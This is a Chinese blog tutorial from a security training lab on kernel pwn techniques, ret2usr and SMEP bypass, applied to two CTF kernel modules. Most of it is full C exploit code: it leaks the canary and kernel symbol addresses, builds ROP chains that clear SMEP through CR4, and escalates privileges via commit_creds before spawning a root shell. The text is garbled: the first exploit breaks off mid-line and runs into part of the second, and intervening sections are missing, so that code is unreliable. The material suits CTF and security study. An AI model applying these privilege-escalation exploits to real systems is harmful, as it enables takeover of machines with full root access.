您当前的位置: 首页 > 

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

Kernel pwn 基础教程之 ret2usr 与 bypass_smep

合天网安实验室 发布时间:2022-03-17 09:08:14 ,浏览量:0

一、前言

在我们的pwn学习过程中,能够很明显的感觉到开发人员们为了阻止某些利用手段而增加的保护机制,往往这些保护机制又会引发出新的bypass技巧,像是我们非常熟悉的Shellcode与NX,NX与ROP。而当我们将视角从用户态放到内核态的时候,便是笔者今天想与大家分享的两个利用手段:ret2usr与bypass_smep。

二、ret2usr利用介绍

ret2usr的资料在网上其实并不算多,究其原因是其利用手法相对简单,其本意是利用了内核空间可以访问用户空间这个特性来定向内核代码或数据流指向用户空间,并以ring0的特权级在用户空间完成提权操作。

三、ret2usr例题讲解

这次以Kernel ROP那一篇中介绍过的例题"2018年强网杯 core"来对ret2usr利用手段进行讲解,具体的题目分析在之前的篇章中已经做过具体分析,这边只是简单概述一下模块内容。

在core_ioctl函数中定义的三种功能
0x6677889B:执行core_read函数,存在内存信息泄露,可用来leak canary
0x6677889C:对全局变量off赋值,可用来控制core_read函数中的内存偏移,从而造成泄露问题
0x6677889A:执行core_copy_func函数,配合core_write函数以及对复制的内容长度不严谨从而造成栈溢出隐患

在前一篇Kernel ROP中我们的利用思路具体如下所示。

1、保存返回用户态所需的寄存器信息
2、利用core_read leak canary
3、通过/tmp/kallsyms中的信息获取函数地址与计算ropgadget的偏移
4、利用core_copy_func函数存在的栈溢出控制内核程序流完成提权并返回用户态执行shell

而本篇的ret2usr中我们的利用思路则发生了些许的改变,原先第四步中我们通过劫持内核程序流并构造ropchain来完成的提权步骤,现在我们修改提权方式,控制内核程序流访问user space中的函数指针来完成提权操作,在我们的exp中构建如下的函数。

void beroot() {
char* (*func1) (int) = prepare_kernel_cred;
void (*func2) (char*) = commit_creds;
(*func2)((*func1)(0));
}

可以看到我们通过函数指针的方式在用户空间执行了commit_creds(prepare_kernel_cred(0)),能过做到这样的本质原因是因为我们在劫持程序流程的时候处在ring0权限,并且因为SMEP保护未开启的原因我们可以从内核空间访问用户空间的代码,所以才能完成提权的操作。​ 当我们控制内核程序流在用户空间完成提权工作以后,就可以返回用户态并获取rootShell了,完整EXP如下所示。

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
​
#define CORE_READ 0x6677889B
#define SET_OFFSET 0x6677889C
#define CORE_COPY_FUNC 0x6677889A
​
unsigned long long int canary[64] = {0};
unsigned long long int raw_vmlinux_base = 0xffffffff81000000;
unsigned long long int commit_creds, prepare_kernel_cred, vmlinux_base;
unsigned long long int user_cs, user_ss, user_rflags, user_sp;
​
void save_status()
{
__asm__("mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        );
puts("[*]status has been saved.");
}
​
void beroot() {
char* (*func1) (int) = prepare_kernel_cred;
void (*func2) (char*) = commit_creds;
(*func2)((*func1)(0));
}
​
//ffffffffb8c9c8e0 T commit_creds
int leak_addr() {
int idx;
char buf[1024];
int fd = open("/tmp/kallsyms", 0);
if (fd < 0) {
puts("[-] ERROR.");
exit(0);
}
​
puts("[+] Leak Address...");
​
while (1) {
int i;
for (i = 0; i < sizeof(buf); i++) {
read(fd, buf + i, 1);
if(buf[i] == '\n') {
if (strstr(buf, "commit_creds")) {
sscanf(buf, "%llx", &commit_creds);
printf("[+] Find commit_creds_address: 0x%llx\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
prepare_kernel_cred = vmlinux_base + 0x9cce0;
return 1;
}
else {
i = 0;
}
}
}
}
​
return 0;
​
}
​
void leak_canary(int fd) {
​
puts("[+] Leak Canary...");
ioctl(fd, SET_OFFSET, 0x40);
ioctl(fd, CORE_READ, canary); //core_read+105
printf("[+] Canary: 0x%llx \n", canary[0]);
}
​
void get_shell() {
if (getuid() == 0) {
puts("[+] root shell.");
system("/bin/sh");
}
}
​
void main() {
​
unsigned long long int pop_rdi, pop_rsi, pop_rdx, pop_rcx, mov_rdi_rax, swapgs, iretq, xchg_rax_rdx, offset;
unsigned long long int rop[0x60];
int i = 8;
​
int fd = open("/proc/core", 'r');
if (fd  ret2usr --> get root's shell
int fd_tty = open("/dev/ptmx", O_RDWR);
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_ops;
write(fd2, fake_tty_struct, 32);
​
write(fd_tty, "AMALLL", 6);
}

然后我们将写好的demo静态编译完成后,使用gdb脚本调试,创建gdbint文件并写入如下内容,最后在qemu启动脚本中添加-s选项并另开shell窗口执行gdb -x gdbinit即可动调。

file vmlinux
add-symbol-file babydriver.ko 0xffffffffc0000000
b babyread
target remote :1234
continue

上面的demo中我们伪造了tty_operations结构体中write函数指针为babyread函数地址,并且通过动调我们可以发现rax寄存器正是我们所伪造的fake_tty_operations结构体的地址,那么如果我们将tty_operations结构体中write函数指针位置放置诸如 mov rsp ,rax; 一类的gadget,则可以劫持栈指针到我们的fake_tty_operations地址处,我们再在伪造的结构体开头布置上二次栈迁移的gadget控制rsp指向我们布置的ropchain上,那么就可以执行关闭SMEP的rop,然后我们就可以利用前面介绍的ret2usr rop进行提权利用啦。

EXP.C
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
​
size_t user_cs, user_ss, user_rflags, user_sp;
size_t commit_creds = 0xffffffff810a1420;
size_t prepare_kernel_cred = 0xffffffff810a1810;
size_t pop_rdi = 0xffffffff810d238d;
size_t mov_cr4 = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
size_t swapgs = 0xffffffff81063694;  // swapgs; pop rbp; ret;
size_t iretq = 0xffffffff814e35ef;
size_t pop_rax = 0xffffffff8100ce6e;
size_t mov_rsp_rax = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret
​
void save_status() {
__asm__("mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        );
puts("[*]status has been saved.");
}
​
void beroot() {
char* (*func1)(int) = (char* (*)(int))prepare_kernel_cred;
void (*func2)(char*) = (void (*)(char *))commit_creds;
(*func2)((*func1)(0));
}
​
void getshell() {
if (getuid() == 0) {   
    puts("[+] root now.");
    system("/bin/sh");
}else {
    puts("[-] Get shell error.");
    exit(0);
}
}
​
void main() {

save_status();
​
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
​
// UAF
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);
​
// set ropchain
size_t rop[0x30] = {0};
int i = 0;
​
rop[i++] = pop_rdi;
rop[i++] = 0x6f0;
rop[i++] = mov_cr4;
rop[i++] = 0;
rop[i++] = (size_t)beroot;
rop[i++] = swapgs;
rop[i++] = 0;
rop[i++] = iretq;
rop[i++] = (size_t)getshell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
​
// fake struct
size_t fake_tty_struct[32];
size_t fake_tty_ops[32];
​
fake_tty_ops[0] = pop_rax;
fake_tty_ops[1] = (size_t)rop;
fake_tty_ops[2] = mov_rsp_rax;
fake_tty_ops[7] = mov_rsp_rax;
​
// close smep --> ret2usr --> get root's shell
int fd_tty = open("/dev/ptmx", O_RDWR);
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_ops;
write(fd2, fake_tty_struct, 32);
​
write(fd_tty, "AMALLL", 6);
​
}

六、总结

笔者分享的两种利用方式都不算困难,但是需要注意的是在编译exploit时请使用Ubuntu 16.04的环境,笔者尝试使用Ubuntu 20 与 18的环境编译exploit最终执行阶段都无法完成提权操作。同时在做Kernel题目的时候会明显的感觉自己的知识树储备不够,这里笔者推荐《操作系统真象还原》这本书,里面不管是案例还是讲解都非常有趣,相信你一定能从这本书中有所收获。

更多网安技能的在线实操练习,请点击这里>>

关注
打赏
1665306545
查看更多评论
立即登录/注册

微信扫码登录

0.0442s